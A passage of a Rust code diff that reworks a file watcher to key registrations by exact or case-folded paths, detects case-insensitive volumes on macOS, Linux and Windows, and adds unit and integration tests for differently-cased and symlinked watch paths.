-            register_existing_path(path, self.tx.clone(), self.pending_path_events.clone())?
-        {
-            self.registrations
-                .lock()
-                .insert(registration_path, registration);
+        let case_insensitive = case_insensitive_path(&path);
+        let key = WatchKey::for_registration(SanitizedPath::new(&path), case_insensitive);
+        if self.registrations.lock().contains_key(&key) {
+            log::trace!("path to watch is already watched: {path:?}");
+            return Ok(());
+        }
+        if let Some(registration) = register_existing_path(
+            path,
+            case_insensitive,
+            self.tx.clone(),
+            self.pending_path_events.clone(),
+        )? {
+            self.registrations.lock().insert(key, registration);
         }
         Ok(())
     }
@@ -82,7 +89,7 @@ impl Drop for FsWatcher {
     fn drop(&mut self) {
         self.pending_registrations.lock().clear();
 
-        let mut registrations = BTreeMap::new();
+        let mut registrations = HashMap::new();
         {
             let old = &mut self.registrations.lock();
             std::mem::swap(old.deref_mut(), &mut registrations);
@@ -99,36 +106,25 @@ impl Watcher for FsWatcher {
     fn add(&self, path: &std::path::Path) -> anyhow::Result<()> {
         log::trace!("watcher add: {path:?}");
 
-        let (path_is_covered_by_recursive_registration, path_is_already_watched) = {
-            let registrations = self.registrations.lock();
-            (
-                path.ancestors().skip(1).any(|ancestor| {
-                    registrations.get(ancestor).is_some_and(|registration| {
-                        registration.mode == WatcherMode::Poll
-                            || cfg!(any(target_os = "windows", target_os = "macos"))
-                    })
-                }),
-                registrations.contains_key(path),
-            )
-        };
-
-        if path_is_covered_by_recursive_registration {
-            log::trace!("path to watch is covered by existing registration: {path:?}");
-            return Ok(());
-        }
-
-        if path_is_already_watched {
-            log::trace!("path to watch is already watched: {path:?}");
+        let path: Arc<Path> = path.into();
+        if path_covered_by_recursive_registration(
+            &self.registrations.lock(),
+            SanitizedPath::new(&path),
+        ) {
+            log::trace!("path to watch is covered by an existing registration: {path:?}");
             return Ok(());
         }
 
-        if self.pending_registrations.lock().contains_key(path) {
+        if self
+            .pending_registrations
+            .lock()
+            .contains_key(path.as_ref())
+        {
             log::trace!("path to watch is already pending: {path:?}");
             return Ok(());
         }
 
-        let path: Arc<std::path::Path> = path.into();
-        if std::fs::symlink_metadata(path.as_ref()).is_err() {
+        if fs::symlink_metadata(path.as_ref()).is_err() {
             self.add_pending_path(path);
             return Ok(());
         }
@@ -140,15 +136,40 @@ impl Watcher for FsWatcher {
         log::trace!("remove watched path: {path:?}");
         self.pending_registrations.lock().remove(path);
 
-        let Some(registration) = self.registrations.lock().remove(path) else {
-            return Ok(());
+        let sanitized = SanitizedPath::new(path);
+        let registration = {
+            let mut registrations = self.registrations.lock();
+            registrations
+                .remove(&WatchKey::exact(sanitized))
+                .or_else(|| registrations.remove(&WatchKey::folded(sanitized)))
         };
-
-        global_watcher().remove(registration.id);
+        if let Some(registration) = registration {
+            global_watcher().remove(registration.id);
+        }
         Ok(())
     }
 }
 
+/// Whether a recursive registration on a strict ancestor of `path` already covers
+/// it. Both key spellings are probed so a folded registration still matches; only
+/// poll watches and native macOS/Windows watches are recursive.
+fn path_covered_by_recursive_registration(
+    registrations: &HashMap<WatchKey, FsWatcherRegistration>,
+    path: &SanitizedPath,
+) -> bool {
+    path.as_path().ancestors().skip(1).any(|ancestor| {
+        let ancestor = SanitizedPath::unchecked_new(ancestor);
+        [WatchKey::exact(ancestor), WatchKey::folded(ancestor)]
+            .iter()
+            .any(|key| {
+                registrations.get(key).is_some_and(|registration| {
+                    registration.mode == WatcherMode::Poll
+                        || cfg!(any(target_os = "windows", target_os = "macos"))
+                })
+            })
+    })
+}
+
 /// Detect whether a path requires polling instead of native file watching.
 ///
 /// Returns `true` for filesystem types where inotify/FSEvents/ReadDirectoryChanges
@@ -182,6 +203,7 @@ pub fn requires_poll_watcher(path: &Path) -> bool {
 
 fn register_existing_path(
     path: Arc<Path>,
+    case_insensitive: bool,
     tx: async_channel::Sender<()>,
     pending_path_events: Arc<Mutex<Vec<PathEvent>>>,
 ) -> anyhow::Result<Option<FsWatcherRegistration>> {
@@ -198,17 +220,22 @@ fn register_existing_path(
     };
     let root_path = SanitizedPath::new_arc(path.as_ref());
     let path_for_callback = path.clone();
-    let Some(registration_id) =
-        global_watcher().add(path, mode, move |event: &notify::Event| {
+    let Some(registration_id) = global_watcher().add(
+        path,
+        mode,
+        case_insensitive,
+        move |event: &notify::Event| {
             log::trace!("watcher received event: {event:?}");
             push_notify_event(
                 &tx,
                 &pending_path_events,
                 &root_path,
+                case_insensitive,
                 path_for_callback.as_ref(),
                 event,
             );
-        })?
+        },
+    )?
     else {
         return Ok(None);
     };
@@ -326,12 +353,128 @@ fn is_wsl_drvfs_path(path: &Path) -> bool {
         && (after_mnt.len() == 1 || after_mnt.as_bytes()[1] == b'/')
 }
 
+/// Whether the volume backing `path` does case-insensitive name lookups, used to
+/// pick exact vs. folded matching.
+#[cfg(target_os = "macos")]
+fn case_insensitive_path(path: &Path) -> bool {
+    use std::os::unix::ffi::OsStrExt as _;
+
+    // `pathconf(_PC_CASE_SENSITIVE)` returns 1 (sensitive), 0 (insensitive), or -1
+    // on error; default errors to insensitive (the APFS/HFS+ default).
+    let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
+        return true;
+    };
+    // SAFETY: We just initialized c_path, so it's a valid pointer
+    unsafe { libc::pathconf(c_path.as_ptr(), libc::_PC_CASE_SENSITIVE) == 0 }
+}
+
+#[cfg(target_os = "linux")]
+fn case_insensitive_path(path: &Path) -> bool {
+    use std::os::unix::ffi::OsStrExt as _;
+
+    // Only ext4/f2fs casefold (`+F`) dirs are insensitive, reported by `statx` via
+    // STATX_ATTR_CASEFOLD; any failure (e.g. pre-4.11 ENOSYS) means case-sensitive.
+    const STATX_ATTR_CASEFOLD: u64 = 0x0000_2000;
+    let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else {
+        return false;
+    };
+    let mut buf = std::mem::MaybeUninit::<libc::statx>::zeroed();
+
+    // SAFETY: c_path is still valid, buffer has been zeroed
+    if unsafe { libc::statx(libc::AT_FDCWD, c_path.as_ptr(), 0, 0, buf.as_mut_ptr()) } != 0 {
+        return false;
+    }
+
+    // SAFETY: libc statx initialized this buffer, otherwise we would've returned on a error
+    // in that function call
+    let buf = unsafe { buf.assume_init() };
+    buf.stx_attributes_mask & STATX_ATTR_CASEFOLD != 0
+        && buf.stx_attributes & STATX_ATTR_CASEFOLD != 0
+}
+
+#[cfg(target_os = "windows")]
+fn case_insensitive_path(_path: &Path) -> bool {
+    // todo(windows): Windows defaults to case in sensitive, but
+    // they can mark specific directories as case sensitive. Mainly
+    // for WSL use cases
+    true
+}
+
+#[cfg(not(any(target_os = "macos", target_os = "linux", target_os = "windows")))]
+fn case_insensitive_path(_path: &Path) -> bool {
+    // Other BSDs default to case-sensitive local filesystems.
+    false
+}
+
+/// Whether `path` is `root` or sits beneath it, folding case on case-insensitive
+/// volumes so a differently-cased spelling still matches.
+fn path_is_under(path: &SanitizedPath, root: &SanitizedPath, case_insensitive: bool) -> bool {
+    if case_insensitive {
+        let path = path.as_path().to_string_lossy().to_lowercase();
+        let root = root.as_path().to_string_lossy().to_lowercase();
+        Path::new(&path).starts_with(Path::new(&root))
+    } else {
+        path.starts_with(root)
+    }
+}
+
+/// Lookup key for a watch path, shared by add, remove, and dispatch so they all
+/// agree on whether two spellings denote the same directory.
+///
+/// On case-sensitive volumes the exact (sanitized) path is the key, so genuinely
+/// distinct directories stay distinct. On case-insensitive volumes the folded
+/// (lowercased) spelling is the key, so any casing of a directory collides.
+///
+/// The two variants are distinct map keys, so a case-sensitive registration can
+/// never be hit by a folded lookup (or vice versa); dispatch can therefore probe
+/// both forms of an event path without risking a cross-rule false match.
+///
+/// NOTE: folding only normalizes case. macOS (APFS/HFS+) is also Unicode
+/// normalization-insensitive (NFC vs NFD); that normalization is intentionally
+/// centralized here so it can be added in one place later without touching the
+/// add/remove/dispatch call sites.
+#[derive(Clone, Debug, PartialEq, Eq, Hash)]
+enum WatchKey {
+    Exact(Arc<Path>),
+    Folded(Arc<str>),
+}
+
+impl WatchKey {
+    fn exact(path: &SanitizedPath) -> Self {
+        Self::Exact(Arc::from(path.as_path()))
+    }
+
+    fn folded(path: &SanitizedPath) -> Self {
+        let lossy = path.as_path().to_string_lossy();
+        // macOS (APFS/HFS+) compares names normalization-insensitively (NFC vs
+        // NFD), and FSEvents can report NFD while a config/LSP supplies NFC, so
+        // normalize before folding case. Windows (NTFS) and Linux are
+        // normalization-sensitive, so there we only fold case.
+        #[cfg(target_os = "macos")]
+        let folded = {
+            use unicode_normalization::UnicodeNormalization as _;
+            lossy.chars().nfc().collect::<String>().to_lowercase()
+        };
+        #[cfg(not(target_os = "macos"))]
+        let folded = lossy.to_lowercase();
+        Self::Folded(folded.into())
+    }
+
+    fn for_registration(path: &SanitizedPath, case_insensitive: bool) -> Self {
+        if case_insensitive {
+            Self::folded(path)
+        } else {
+            Self::exact(path)
+        }
+    }
+}
+
 async fn poll_path_until_created(
     executor: BackgroundExecutor,
     path: Arc<Path>,
     tx: async_channel::Sender<()>,
     pending_path_events: Arc<Mutex<Vec<PathEvent>>>,
-    registrations: Arc<Mutex<BTreeMap<Arc<Path>, FsWatcherRegistration>>>,
+    registrations: Arc<Mutex<HashMap<WatchKey, FsWatcherRegistration>>>,
     pending_registrations: Arc<Mutex<HashMap<Arc<Path>, Task<()>>>>,
 ) {
     loop {
@@ -345,12 +488,22 @@ async fn poll_path_until_created(
             continue;
         }
 
-        if registrations.lock().contains_key(path.as_ref()) {
+        // Probe case sensitivity now that the path exists, rather than at add
+        // time when it didn't.
+        let case_insensitive = case_insensitive_path(path.as_ref());
+        let key = WatchKey::for_registration(SanitizedPath::new(&path), case_insensitive);
+
+        if registrations.lock().contains_key(&key) {
             pending_registrations.lock().remove(path.as_ref());
             return;
         }
 
-        match register_existing_path(path.clone(), tx.clone(), pending_path_events.clone()) {
+        match register_existing_path(
+            path.clone(),
+            case_insensitive,
+            tx.clone(),
+            pending_path_events.clone(),
+        ) {
             Ok(Some(registration)) => {
                 {
                     let mut pending_registrations = pending_registrations.lock();
@@ -358,7 +511,7 @@ async fn poll_path_until_created(
                         global_watcher().remove(registration.id);
                         return;
                     }
-                    registrations.lock().insert(path.clone(), registration);
+                    registrations.lock().insert(key, registration);
                 }
                 enqueue_path_events(
                     &tx,
@@ -408,6 +561,7 @@ fn push_notify_event(
     tx: &smol::channel::Sender<()>,
     pending_path_events: &Arc<Mutex<Vec<PathEvent>>>,
     root_path: &SanitizedPath,
+    case_insensitive: bool,
     watched_root: &Path,
     event: &notify::Event,
 ) {
@@ -422,7 +576,7 @@ fn push_notify_event(
         .iter()
         .filter_map(|event_path| {
             let event_path = SanitizedPath::new(event_path);
-            event_path.starts_with(root_path).then(|| PathEvent {
+            path_is_under(event_path, root_path, case_insensitive).then(|| PathEvent {
                 path: event_path.as_path().to_path_buf(),
                 kind,
             })
@@ -521,6 +675,7 @@ pub struct WatcherRegistrationId(u32);
 
 struct WatcherRegistrationState {
     callback: Arc<dyn Fn(&notify::Event) + Send + Sync>,
+    key: WatchKey,
     path: Arc<SanitizedPath>,
     mode: WatcherMode,
 }
@@ -530,10 +685,64 @@ struct PathRegistrationState {
     has_os_watcher: bool,
 }
 
+/// The registered watch paths for one watcher mode, keyed by [`WatchKey`] so that
+/// add (dedup), remove, and dispatch share a single notion of path identity.
+#[derive(Default)]
+struct WatchPaths(HashMap<WatchKey, PathRegistrationState>);
+
+impl WatchPaths {
+    fn contains(&self, key: &WatchKey) -> bool {
+        self.0.contains_key(key)
+    }
+
+    fn get_mut(&mut self, key: &WatchKey) -> Option<&mut PathRegistrationState> {
+        self.0.get_mut(key)
+    }
+
+    fn entry(
+        &mut self,
+        key: WatchKey,
+    ) -> std::collections::hash_map::Entry<'_, WatchKey, PathRegistrationState> {
+        self.0.entry(key)
+    }
+
+    fn remove(&mut self, key: &WatchKey) {
+        self.0.remove(key);
+    }
+
+    /// True if a recursive registration on a strict ancestor already covers
+    /// `path`. Only poll watches and native macOS/Windows watches are recursive.
+    fn covered_by_recursive_ancestor(&self, path: &SanitizedPath, mode: WatcherMode) -> bool {
+        if mode != WatcherMode::Poll && !cfg!(any(target_os = "windows", target_os = "macos")) {
+            return false;
+        }
+        path.as_path().ancestors().skip(1).any(|ancestor| {
+            let ancestor = SanitizedPath::unchecked_new(ancestor);
+            self.0.contains_key(&WatchKey::exact(ancestor))
+                || self.0.contains_key(&WatchKey::folded(ancestor))
+        })
+    }
+
+    /// Collects the watcher ids of every registration whose directory is an
+    /// ancestor of (or equal to) `path`. Both exact and folded keys are probed,
+    /// so a real-cased event path matches a folded registration and vice versa.
+    fn watcher_ids_covering(&self, path: &SanitizedPath, ids: &mut Vec<WatcherRegistrationId>) {
+        for ancestor in path.as_path().ancestors() {
+            let ancestor = SanitizedPath::unchecked_new(ancestor);
+            if let Some(registration) = self.0.get(&WatchKey::exact(ancestor)) {
+                ids.extend_from_slice(&registration.watcher_ids);
+            }
+            if let Some(registration) = self.0.get(&WatchKey::folded(ancestor)) {
+                ids.extend_from_slice(&registration.watcher_ids);
+            }
+        }
+    }
+}
+
 struct WatcherState {
     watchers: HashMap<WatcherRegistrationId, WatcherRegistrationState>,
-    native_path_registrations: HashMap<Arc<SanitizedPath>, PathRegistrationState>,
-    poll_path_registrations: HashMap<Arc<SanitizedPath>, PathRegistrationState>,
+    native_path_registrations: WatchPaths,
+    poll_path_registrations: WatchPaths,
     cooldown_until: Option<Instant>,
     last_registration: WatcherRegistrationId,
 }
@@ -544,10 +753,7 @@ impl WatcherState {
             .is_some_and(|cooldown_until| cooldown_until > Instant::now())
     }
 
-    fn path_registrations(
-        &mut self,
-        mode: WatcherMode,
-    ) -> &mut HashMap<Arc<SanitizedPath>, PathRegistrationState> {
+    fn path_registrations(&mut self, mode: WatcherMode) -> &mut WatchPaths {
         match mode {
             WatcherMode::Native => &mut self.native_path_registrations,
             WatcherMode::Poll => &mut self.poll_path_registrations,
@@ -560,14 +766,14 @@ impl WatcherState {
     ) -> Option<(Arc<SanitizedPath>, WatcherMode)> {
         let registration_state = self.watchers.remove(&id)?;
         let path_registrations = self.path_registrations(registration_state.mode);
-        let path_state = path_registrations.get_mut(&registration_state.path)?;
+        let path_state = path_registrations.get_mut(&registration_state.key)?;
         path_state.watcher_ids.retain(|&existing| existing != id);
         if !path_state.watcher_ids.is_empty() {
             return None;
         }
 
         let was_actually_watched = path_state.has_os_watcher;
-        path_registrations.remove(&registration_state.path);
+        path_registrations.remove(&registration_state.key);
 
         was_actually_watched.then_some((registration_state.path, registration_state.mode))
     }
@@ -606,15 +812,17 @@ impl GlobalWatcher {
         &self,
         path: Arc<std::path::Path>,
         mode: WatcherMode,
+        case_insensitive: bool,
         cb: impl Fn(&notify::Event) + Send + Sync + 'static,
     ) -> anyhow::Result<Option<WatcherRegistrationId>> {
         let path = SanitizedPath::from_arc(path);
+        let key = WatchKey::for_registration(&path, case_insensitive);
         let mut state = self.state.lock();
         let (path_already_covered, path_already_registered) = {
             let registrations_for_mode = state.path_registrations(mode);
             (
-                path_already_covered(path.as_ref(), registrations_for_mode, mode),
-                registrations_for_mode.contains_key(&path),
+                registrations_for_mode.covered_by_recursive_ancestor(&path, mode),
+                registrations_for_mode.contains(&key),
             )
         };
 
@@ -640,13 +848,14 @@ impl GlobalWatcher {
 
         let registration_state = WatcherRegistrationState {
             callback: Arc::new(cb),
-            path: path.clone(),
+            key: key.clone(),
+            path,
             mode,
         };
         state.watchers.insert(id, registration_state);
         state
             .path_registrations(mode)
-            .entry(path)
+            .entry(key)
             .and_modify(|registration| registration.watcher_ids.push(id))
             .or_insert_with(|| PathRegistrationState {
                 watcher_ids: vec![id],
@@ -705,12 +914,7 @@ impl GlobalWatcher {
                 let mut ids = Vec::new();
                 for path in &event.paths {
                     let sanitized = SanitizedPath::new(path);
-                    for ancestor in sanitized.as_path().ancestors() {
-                        let ancestor = SanitizedPath::unchecked_new(ancestor);
-                        if let Some(registration) = path_registrations.get(ancestor) {
-                            ids.extend_from_slice(&registration.watcher_ids);
-                        }
-                    }
+                    path_registrations.watcher_ids_covering(sanitized, &mut ids);
                 }
                 ids.sort_unstable_by_key(|id| id.0);
                 ids.dedup();
@@ -837,19 +1041,6 @@ impl GlobalWatcher {
     }
 }
 
-fn path_already_covered(
-    path: &SanitizedPath,
-    path_registrations: &HashMap<Arc<SanitizedPath>, PathRegistrationState>,
-    mode: WatcherMode,
-) -> bool {
-    (mode == WatcherMode::Poll || cfg!(any(target_os = "windows", target_os = "macos")))
-        && path
-            .as_path()
-            .ancestors()
-            .skip(1)
-            .any(|ancestor| path_registrations.contains_key(SanitizedPath::unchecked_new(ancestor)))
-}
-
 fn is_max_files_watch_error(error: &anyhow::Error) -> bool {
     error
         .downcast_ref::<notify::Error>()
@@ -1009,11 +1200,11 @@ mod tests {
         let child = Arc::<Path>::from(Path::new("/repo/foo.csproj"));
 
         let parent_registration = watcher
-            .add(parent.as_ref().into(), WatcherMode::Poll, |_| {})
+            .add(parent.as_ref().into(), WatcherMode::Poll, false, |_| {})
             .expect("add parent watch")
             .expect("parent watch registered");
         let child_registration = watcher
-            .add(child.as_ref().into(), WatcherMode::Poll, |_| {})
+            .add(child.as_ref().into(), WatcherMode::Poll, false, |_| {})
             .expect("add covered child watch")
             .expect("child watch registered");
 
@@ -1037,10 +1228,10 @@ mod tests {
         let second_path = Arc::<Path>::from(Path::new("/repo/second"));
 
         let first_registration = watcher
-            .add(first_path.clone(), WatcherMode::Native, |_| {})
+            .add(first_path.clone(), WatcherMode::Native, false, |_| {})
             .expect("native watch limit is handled");
         let second_registration = watcher
-            .add(second_path, WatcherMode::Native, |_| {})
+            .add(second_path, WatcherMode::Native, false, |_| {})
             .expect("native watch limit backoff is handled");
 
         assert!(first_registration.is_none());
@@ -1068,6 +1259,7 @@ mod tests {
                 .add(
                     Arc::<Path>::from(Path::new(dir)),
                     WatcherMode::Native,
+                    false,
                     move |_| {
                         fired.lock().push(label.clone());
                     },
@@ -1105,6 +1297,153 @@ mod tests {
         assert_eq!(got, vec!["/repo/a".to_owned(), "/repo/a/nested".to_owned()]);
     }
 
+    fn fired_count() -> (
+        Arc<Mutex<usize>>,
+        impl Fn(&notify::Event) + Send + Sync + 'static,
+    ) {
+        let fired = Arc::new(Mutex::new(0usize));
+        let cb = {
+            let fired = fired.clone();
+            move |_: &notify::Event| *fired.lock() += 1
+        };
+        (fired, cb)
+    }
+
+    #[test]
+    fn watch_key_folds_case_but_keeps_exact_distinct() {
+        let mixed = SanitizedPath::new(Path::new("/Repo/Proj"));
+        let lower = SanitizedPath::new(Path::new("/repo/proj"));
+
+        // Folded keys collide regardless of casing; exact keys do not.
+        assert_eq!(WatchKey::folded(mixed), WatchKey::folded(lower));
+        assert_ne!(WatchKey::exact(mixed), WatchKey::exact(lower));
+        // Exact and folded live in different key spaces even for the same path.
+        assert_ne!(WatchKey::exact(mixed), WatchKey::folded(mixed));
+    }
+
+    #[cfg(target_os = "macos")]
+    #[test]
+    fn watch_key_folds_unicode_normalization_on_macos() {
+        // "Café" precomposed (NFC) vs decomposed (NFD) are different byte
+        // sequences but the same directory on a normalization-insensitive volume.
+        let nfc = Path::new("/repo/Caf\u{00e9}");
+        let nfd = Path::new("/repo/Cafe\u{0301}");
+        assert_ne!(nfc, nfd);
+        assert_eq!(
+            WatchKey::folded(SanitizedPath::new(nfc)),
+            WatchKey::folded(SanitizedPath::new(nfd)),
+        );
+    }
+
+    #[test]
+    fn case_insensitive_registration_matches_differently_cased_event() {
+        let (fired, cb) = fired_count();
+        let watcher = test_watcher_with_backends(Some(Default::default()), None);
+        watcher
+            .add(
+                Path::new("/Repo/Project").into(),
+                WatcherMode::Native,
+                true,
+                cb,
+            )
+            .expect("add")
+            .expect("registered");
+
+        // Event arrives lowercased (as TSGO/macOS may report it).
+        watcher.dispatch(
+            WatcherMode::Native,
+            Ok(modify_event("/repo/project/file.txt")),
+        );
+        assert_eq!(*fired.lock(), 1);
+    }
+
+    #[test]
+    fn case_insensitive_registration_survives_case_only_rename() {
+        let (fired, cb) = fired_count();
+        let watcher = test_watcher_with_backends(Some(Default::default()), None);
+        watcher
+            .add(
+                Path::new("/Repo/Proj").into(),
+                WatcherMode::Native,
+                true,
+                cb,
+            )
+            .expect("add")
+            .expect("registered");
+
+        // The watched directory was renamed to a different casing; events now
+        // arrive under the new spelling.
+        watcher.dispatch(WatcherMode::Native, Ok(modify_event("/Repo/PROJ/file.txt")));
+        assert_eq!(*fired.lock(), 1);
+    }
+
+    #[test]
+    fn case_sensitive_registration_ignores_differently_cased_event() {
+        let (fired, cb) = fired_count();
+        let watcher = test_watcher_with_backends(Some(Default::default()), None);
+        watcher
+            .add(
+                Path::new("/Repo/proj").into(),
+                WatcherMode::Native,
+                false,
+                cb,
+            )
+            .expect("add")
+            .expect("registered");
+
+        // On a case-sensitive volume these are genuinely different directories.
+        watcher.dispatch(WatcherMode::Native, Ok(modify_event("/Repo/PROJ/file.txt")));
+        assert_eq!(*fired.lock(), 0);
+    }
+
+    #[test]
+    fn differently_cased_adds_dedupe_on_case_insensitive_volume() {
+        let backend = Arc::new(Mutex::new(FakeWatchBackend::default()));
+        let watcher = test_watcher_with_backends(Some(backend.clone()), None);
+        watcher
+            .add(
+                Path::new("/Repo/Proj").into(),
+                WatcherMode::Native,
+                true,
+                |_| {},
+            )
+            .expect("add")
+            .expect("registered");
+        watcher
+            .add(
+                Path::new("/repo/proj").into(),
+                WatcherMode::Native,
+                true,
+                |_| {},
+            )
+            .expect("add")
+            .expect("registered");
+
+        // The second, differently-cased spelling reuses the same OS watch.
+        assert_eq!(backend.lock().watch_calls.len(), 1);
+    }
+
+    #[test]
+    fn recursive_parent_covers_differently_cased_child() {
+        let backend = Arc::new(Mutex::new(FakeWatchBackend::default()));
+        let watcher = test_watcher(backend.clone());
+        watcher
+            .add(Path::new("/Repo").into(), WatcherMode::Poll, true, |_| {})
+            .expect("add")
+            .expect("registered");
+        watcher
+            .add(
+                Path::new("/repo/child").into(),
+                WatcherMode::Poll,
+                true,
+                |_| {},
+            )
+            .expect("add");
+
+        // The child is covered by the recursive parent despite the case mismatch.
+        assert_eq!(backend.lock().watch_calls, vec![PathBuf::from("/Repo")]);
+    }
+
     #[test]
     fn rescan_event_broadcasts_to_all_registrations_of_the_same_mode() {
         let (watcher, fired) = recording_watcher();
@@ -1141,6 +1480,7 @@ mod tests {
                 .add(
                     Arc::<Path>::from(Path::new("C:\\repo\\src")),
                     WatcherMode::Native,
+                    false,
                     move |_| fired.lock().push(()),
                 )
                 .expect("add watch")
diff --git a/crates/fs/tests/integration/fs_tests.rs b/crates/fs/tests/integration/fs_tests.rs
index d86fadd46db920..6f690be8967f7a 100644
--- a/crates/fs/tests/integration/fs_tests.rs
+++ b/crates/fs/tests/integration/fs_tests.rs
@@ -5,6 +5,8 @@ use std::{
     ffi::OsString,
     io::Write,
     path::{Path, PathBuf},
+    pin::Pin,
+    sync::Arc,
     time::Duration,
 };
 
@@ -828,6 +830,257 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
     assert_eq!(fs.trash_entries().len(), 2);
 }
 
+/// Create a directory symlink (`link` -> `target`) in a cross-platform way.
+///
+/// Returns `Err` when the platform cannot create symlinks (e.g. Windows without
+/// the create-symlink privilege), so callers can skip a scenario gracefully
+/// rather than failing the whole test.
+fn make_dir_symlink(target: &Path, link: &Path) -> std::io::Result<()> {
+    #[cfg(unix)]
+    {
+        std::os::unix::fs::symlink(target, link)
+    }
+    #[cfg(windows)]
+    {
+        std::os::windows::fs::symlink_dir(target, link)
+    }
+    #[cfg(not(any(unix, windows)))]
+    {
+        let _ = (target, link);
+        Err(std::io::Error::new(
+            std::io::ErrorKind::Unsupported,
+            "symlinks are not supported on this platform",
+        ))
+    }
+}
+
+/// Waits up to `timeout` for `events` to deliver something that covers the
+/// written file: either a path event whose path satisfies `path_matches`, or a
+/// `Rescan` (which tells the consumer to re-scan this watcher's whole tree, so
+/// it would discover the file anyway). Returns `false` if nothing relevant
+/// arrives before the timeout.
+async fn watcher_delivered_event(
+    events: &mut (impl futures::Stream<Item = Vec<PathEvent>> + Unpin),
+    executor: &BackgroundExecutor,
+    timeout: Duration,
+    path_matches: &(dyn Fn(&Path) -> bool + Send + Sync),
+) -> bool {
+    let timeout = executor.timer(timeout).fuse();
+    futures::pin_mut!(timeout);
+    loop {
+        futures::select_biased! {
+            batch = events.next().fuse() => {
+                let Some(batch) = batch else { return false };
+                let covered = batch.iter().any(|event| {
+                    path_matches(&event.path) || event.kind == Some(PathEventKind::Rescan)
+                });
+                if covered {
+                    return true;
+                }
+            }
+            _ = timeout => return false,
+        }
+    }
+}
+
+/// Exercises a spread of real watchers whose registered watch path is spelled
+/// differently from the path the OS reports events under. Each scenario watches
+/// some directory and then mutates the on-disk file; a correct watcher must
+/// deliver an event (or a rescan) for every scenario.
+///
+/// This asserts the residual path-aliasing bugs that real-casing the watch root
+/// at add-time does NOT fix. The headline failure is `symlink_ancestor`:
+/// watching a path that traverses a symlinked ancestor. On macOS FSEvents
+/// reports events under the resolved real path, which no longer has the
+/// symlinked prefix the watch root was registered with, so the events are
+/// filtered out and never delivered.
+///
+/// Platform notes (the test runs everywhere but scenarios self-skip when they
+/// cannot apply):
+/// - Case scenarios require a case-insensitive filesystem (macOS/Windows
+///   default; case-sensitive Linux/APFS skip them).
+/// - Symlink scenarios require symlink creation (skipped on Windows without the
+///   privilege).
+/// - `symlink_ancestor` fails on macOS (FSEvents canonicalizes) but is expected
+///   to pass on Linux (notify reconstructs paths from the watch path you pass),
+///   which is itself a useful demonstration that this is an FSEvents-specific
+///   bug.
+#[gpui::test]
+async fn test_realfs_watch_aliased_watch_paths_deliver_events(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    cx.executor().allow_parking();
+
+    let fs = RealFs::new(None, executor.clone());
+    let temp_dir = TempDir::new().expect("create temp dir");
+    let root = temp_dir.path().to_path_buf();
+    let latency = Duration::from_millis(10);
+
+    // Probe the real filesystem for case sensitivity rather than guessing from
+    // the platform.
+    std::fs::create_dir_all(root.join("CaseProbe")).expect("create case probe dir");
+    let case_insensitive = root.join("caseprobe").exists();
+    eprintln!("filesystem is case-insensitive: {case_insensitive}");
+
+    struct Scenario {
+        name: &'static str,
+        events: Pin<Box<dyn Send + futures::Stream<Item = Vec<PathEvent>>>>,
+        _watcher: Arc<dyn Watcher>,
+        path_matches: Box<dyn Fn(&Path) -> bool + Send + Sync>,
+        action: Option<Box<dyn FnOnce() + Send>>,
+    }
+
+    let mut scenarios: Vec<Scenario> = Vec::new();
+    let mut skipped: Vec<String> = Vec::new();
+
+    // --- Headline residual bug: watch path traverses a symlinked ancestor. ---
+    {
+        let real = root.join("ancestor_real");
+        let inner = real.join("inner");
+        std::fs::create_dir_all(&inner).expect("create symlinked-ancestor target");
+        let link = root.join("ancestor_link");
+        match make_dir_symlink(&real, &link) {
+            Ok(()) => {
+                let (events, watcher) = fs.watch(&link.join("inner"), latency).await;
+                let file = inner.join("symlink_ancestor.txt");
+                scenarios.push(Scenario {
+                    name: "symlink_ancestor",
+                    events,
+                    _watcher: watcher,
+                    path_matches: Box::new(|path| {
+                        path.ends_with(Path::new("inner/symlink_ancestor.txt"))
+                    }),
+                    action: Some(Box::new(move || {
+                        std::fs::write(&file, b"x").expect("write symlink-ancestor file");
+                    })),
+                });
+            }
+            Err(error) => skipped.push(format!("symlink_ancestor (cannot symlink: {error})")),
+        }
+    }
+
+    // --- Control: watching a symlinked root IS handled (RealFs::watch follows
+    //     the root symlink and also watches the target). ---
+    {
+        let real = root.join("root_real");
+        std::fs::create_dir_all(&real).expect("create symlinked-root target");
+        let link = root.join("root_link");
+        match make_dir_symlink(&real, &link) {
+            Ok(()) => {
+                let (events, watcher) = fs.watch(&link, latency).await;
+                let file = real.join("symlink_root.txt");
+                scenarios.push(Scenario {
+                    name: "symlink_root",
+                    events,
+                    _watcher: watcher,
+                    path_matches: Box::new(|path| path.ends_with(Path::new("symlink_root.txt"))),
+                    action: Some(Box::new(move || {
+                        std::fs::write(&file, b"x").expect("write symlink-root file");
+                    })),
+                });
+            }
+            Err(error) => skipped.push(format!("symlink_root (cannot symlink: {error})")),
+        }
+    }
+
+    // --- Control: wrong-case watch root (the originally-reported bug, which the
+    //     real-casing fix already addresses). ---
+    if case_insensitive {
+        let real = root.join("CaseAlpha");
+        std::fs::create_dir_all(&real).expect("create wrong-case root");
+        let lower = PathBuf::from(real.to_string_lossy().to_lowercase());
+        let (events, watcher) = fs.watch(&lower, latency).await;
+        let file = real.join("alpha.txt");
+        scenarios.push(Scenario {
+            name: "wrong_case_root",
+            events,
+            _watcher: watcher,
+            path_matches: Box::new(|path| path.ends_with(Path::new("alpha.txt"))),
+            action: Some(Box::new(move || {
+                std::fs::write(&file, b"x").expect("write wrong-case-root file");
+            })),
+        });
+    } else {
+        skipped.push("wrong_case_root (case-sensitive fs)".to_owned());
+    }
+
+    // --- Control: wrong-case nested watch path. ---
+    if case_insensitive {
+        let real = root.join("CaseBravo").join("Inner");
+        std::fs::create_dir_all(&real).expect("create wrong-case nested dir");
+        let lower = PathBuf::from(real.to_string_lossy().to_lowercase());
+        let (events, watcher) = fs.watch(&lower, latency).await;
+        let file = real.join("bravo.txt");
+        scenarios.push(Scenario {
+            name: "nested_wrong_case",
+            events,
+            _watcher: watcher,
+            path_matches: Box::new(|path| path.ends_with(Path::new("bravo.txt"))),
+            action: Some(Box::new(move || {
+                std::fs::write(&file, b"x").expect("write nested-wrong-case file");
+            })),
+        });
+    } else {
+        skipped.push("nested_wrong_case (case-sensitive fs)".to_owned());
+    }
+
+    // --- Residual bug: the watched root is renamed to a different casing after
